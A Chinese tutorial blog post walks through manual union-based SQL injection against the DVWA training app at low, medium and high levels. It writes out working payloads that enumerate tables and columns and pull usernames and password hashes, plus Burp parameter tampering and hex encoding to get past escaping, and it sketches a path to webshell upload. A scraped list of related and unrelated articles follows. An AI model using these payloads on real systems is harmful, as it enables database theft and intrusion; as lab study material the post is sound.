前言:

首先是DVWA环境的搭建:

1.DVWA。

2.PHPSTUDY/WampServer,这里有一个坑,因为他是一体化的,PHP版本必须在5.4以上,否则显注不能打开。或者自己搭建LAMP环境。

3.抓包软件BURP以及代理的设置

具体的步骤可参考:https://www.jb51.net/article/160378.htm

本篇主要记录DVWA中SQL注入中的显注部分:

开始之前先了解数字型、字符型和搜索型注入的区别:https://blog.csdn.net/change518/article/details/8116920/或者https://www.cnblogs.com/zztac/p/11355622.html

主要是数字型和字符型的区别:查询语句中我们输入的信息被单引号包含起来导致成为一个整体字符串,所以查询语句会查询一个为“1 and 1=1”和 “1 and 1=2”的id,这个id当然不会存在了就导致出现错误。所以针对字符型注入我们需要对单引号进行匹配,就产生了“' and '1'='1”和“'and '1'='2”这样的闭合字符型注入的判断语句。我们输入这样的判断语句就会发现跟数字型注入一样的返回。

SQL注入常规思路:

1、寻找注入点,可以通过 web 扫描工具实现
2、通过注入点,尝试获得关于连接数据库用户名、数据库名称、连接数据库用户权限、操作系统信息、数据库版本等相关信息。
3、猜解关键数据库表及其重要字段与内容(常见如存放管理员账户的表名、字段名等信息)
4、可以通过获得的用户信息,寻找后台登录。
5、利用后台或了解的进一步信息,上传 webshell 或向数据库写入一句话木马,以进一步提权,直到拿到服务器权限。

手工注入常规思路:

1.判断是否存在注入,注入是字符型还是数字型
2.猜解 SQL 查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.查询到账户的数据

低级:

网页源码:

分析:
由代码可知,通过REQUEST方式接受传递的参数id,再通过sql语句带入查询,并未设置任何过滤,因此可以进行sql注入利用。

常见的测试POC:

 

几个常用的函数:

user()返回当前数据库连接使用的用户;

database()返回当前数据库连接使用的数据库;

version()返回当前数据库的版本;

1.判断是否存在注入,注入是字符型还是数字型

当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。

输入1,查询成功:

输入:1 and 1=1,成功:

输入:1 and 1=2,成功,可以知道并不是数字型的注入:

输入:1' and '1'='1 成功:

输入:1' and '1'='2,失败,没有查出东西,说明是字符型的注入:

2.猜解SQL查询语句中的字段数

输入1′  order by 2 #,查询成功:(注意此处的语句,#是注释后面的单引号,前面的’是闭合SQL的“,一定要记住ORDERBY 后加数字不是字符 )

输入1′  order by 3 #,查询失败:

说明执行SQL查询的只有两个字段,就是这里的First name、Surname。

3.确定显示的字段顺序。

输入1′ union select 1,2 #,查询成功: #是注释作用,union是联合查询

说明执行的SQL语句为select First name,Surname from 表 where ID=’id’…

4.获取当前的数据库

输入1' union select 1,database() #,#注释作用,database函数获取当前连接的数据库,查询成功:

数据库是DVWA。

5.获取数据库中的表

输入:1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

说明数据库中,有两个表:guestbook与users。

6.获取表中的字段名
输入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # ,查询成功:

users表中一个有8个字段,其中包括,user_id,first_name,password。

7.得到数据

输入:1' union select group_concat(user_id,first_name),group_concat(password) from users #,查询成功:

可以看到查询1的内容是id和用户名,查询2的内容是password,注意,此处是密文,需要MD5转换(百度即可):

这样,我们就拿到了低级手工注入的所有用户名和密码。

中级:

查看源码:

Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。虽然前端使用了下拉选择菜单,但我们依然可以通过抓包改参数,提交恶意构造的查询参数。所以就用到了抓包软件BURPLOADER以及服务器的代理设置。

1.判断是否存在注入,以及注入的类型。

抓包更改参数为1‘and1=1#报错:

抓包更改参数为1and1=1 查询成功:

所以是数字型注入,由于是数字型注入,服务器端的mysql_real_escape_string函数就形同虚设了,因为数字型注入并不需要借助引号。

2.猜解SQL查询语句中的字段数
抓包修改为id=1 order by 2,查询成功:
 

抓包修改为id=1 order by 3,查询失败::

说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

3.确定显示字段的顺序:

抓包更改参数:1 union select 1,2  查询成功

4.获取当前的数据库名:

抓包修改:id =1 union select 1,database(),查询成功:

数据库名为dvwa

5.获取数据库当中的表:

抓包修改:id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

数据库中一共存在两个表,guest和users

6.获取表中的字段名

抓包修改:id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users’,查询失败

这是因为‘在这里被转义成了\',我们可以用16进制绕过:

这样就得到了字段名。

7.得到数据

抓包修改数据:

同样,也得到了用户名和密码。

高级:


查看源码

与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。且因为是字符型注入,手工注入的过程与Low级别基本一样,直接最后一步演示得到数据。

High级别的查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,这样做的目的是为了防止一般的sqlmap注入,因为sqlmap在注入过程中,无法在查询提交页面上获取查询的结果,没有了反馈,也就没办法进一步注入。

DVWA-全等级SQL注入(显注)的更多相关文章

  1. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

  2. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  3. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  4. DVWA各等级sql注入

    sql全等级注入 level:low <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { //判断submit是否存在 // Get input $id = ...

  5. SQL注入--显注和盲注中过滤逗号绕过

    SQL注入逗号绕过 1.联合查询显注绕过逗号 在联合查询时使用 UNION SELECT 1,2,3,4,5,6,7..n 这样的格式爆显示位,语句中包含了多个逗号,如果有WAF拦截了逗号时,我们的联 ...

  6. DVWA学习之SQL注入

    DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...

  7. 1.3 DVWA亲测sql注入漏洞

    LOW等级   我们先输入1 我们加上一个单引号,页面报错 我们看一下源代码: <?php if( isset( $_REQUEST[ 'Submit' ] ) ) { // Get input ...

  8. [靶场实战]:SQL注入-显错注入

    SQL注入的本质:就是将用户输入的数据当作代码带入执行. 注入条件: 1.用户能控制输入 2.能够将程序原本执行的代码,拼接上用户输入的数据进行执行 首先检查是否存在注入点 Rank1: 构造语句 ? ...

  9. sql注入 --显错注入

    前提知识 数据库:就是将大量数据把保存起来,通过计算机加工而成的可以高效访问数据库的数据集合数据库结构:库:就是一堆表组成的数据集合表:类似 Excel,由行和列组成的二维表字段:表中的列称为字段记录 ...

随机推荐

  1. SQL关联子查询

    SQL关联子查询执行顺序: 1.先取到主查询中的相关数据,一次取一行主查询的数据 2.然后传入子查询,进行子查询 3.最后做主查询where筛选,注意子查询的where条件同样需要加在主查询后 参考: ...

  2. excel vslookup应用举例

    excel vslookup应用举例 =vslookup("第一个需要查找的对象","查找的区域范围","查找的最终目标在区域的第几列",& ...

  3. ORM研究3 - odoo fields常用的字段属性

    之前我们已经讲解了odoo ORM中的一些对字段常用的API操作方法,今天我们继续研究一下Odoo orm中字段的一些通用属性字段的使用,学会它们可以为自己创建数据映射并使用有更好的帮助. 通用字段属 ...

  4. Scala学习——函数高级操作

    scala函数高级操作 一.字符串高级操作 多行字符串和插值 package top.ruandb.scala.Course06 object StringApp { def main(args: A ...

  5. python基础之os模块操作

    # os模块 目录相关内置库import os# . 当前目录 .. 返回上一级目录# 1. os.path.abspath() --获取当前文件的绝对路径(不包含os模块.py) pwd# path ...

  6. 微信小程序云开发-云存储-获取带图片的商品列表

    一.将商品图片上传至云存储 如下图,已准备5张商品图片,并且已经将商品图片上传至云存储  二.数据库表添加图片字段 在数据库表goods添加字段image,该字段用来存储图片的url信息 image在 ...

  7. windows系统下 PHP怎么安装redis扩展

    在windows系统下安装redis就不赘述了,基本上就是下一步,下一步. 然后通过通过命令行启动服务. 我是在xamp 3.2.2的集成环境下进行本地redis扩展安装配置的,php的版本是5.6. ...

  8. 【Lucas组合数定理】组合-FZU 2020

    组合 FZU-2020 题目描述 给出组合数C(n,m), 表示从n个元素中选出m个元素的方案数.例如C(5,2) = 10, C(4,2) = 6.可是当n,m比较大的时候,C(n,m)很大!于是x ...

  9. kafka单机环境配置以及基本操作

    安装地址(已亲测有效):https://www.linuxidc.com/Linux/2019-03/157650.htm

  10. python里面的MD5加密 ---# hashlib包的使用

    在应用程序的接口里,常用到签名:其中签名里用到MD5加密,这里用hashlib实现 hashlib 概念:Hash,译做"散列",也有直接音译为"哈希"的.把任 ...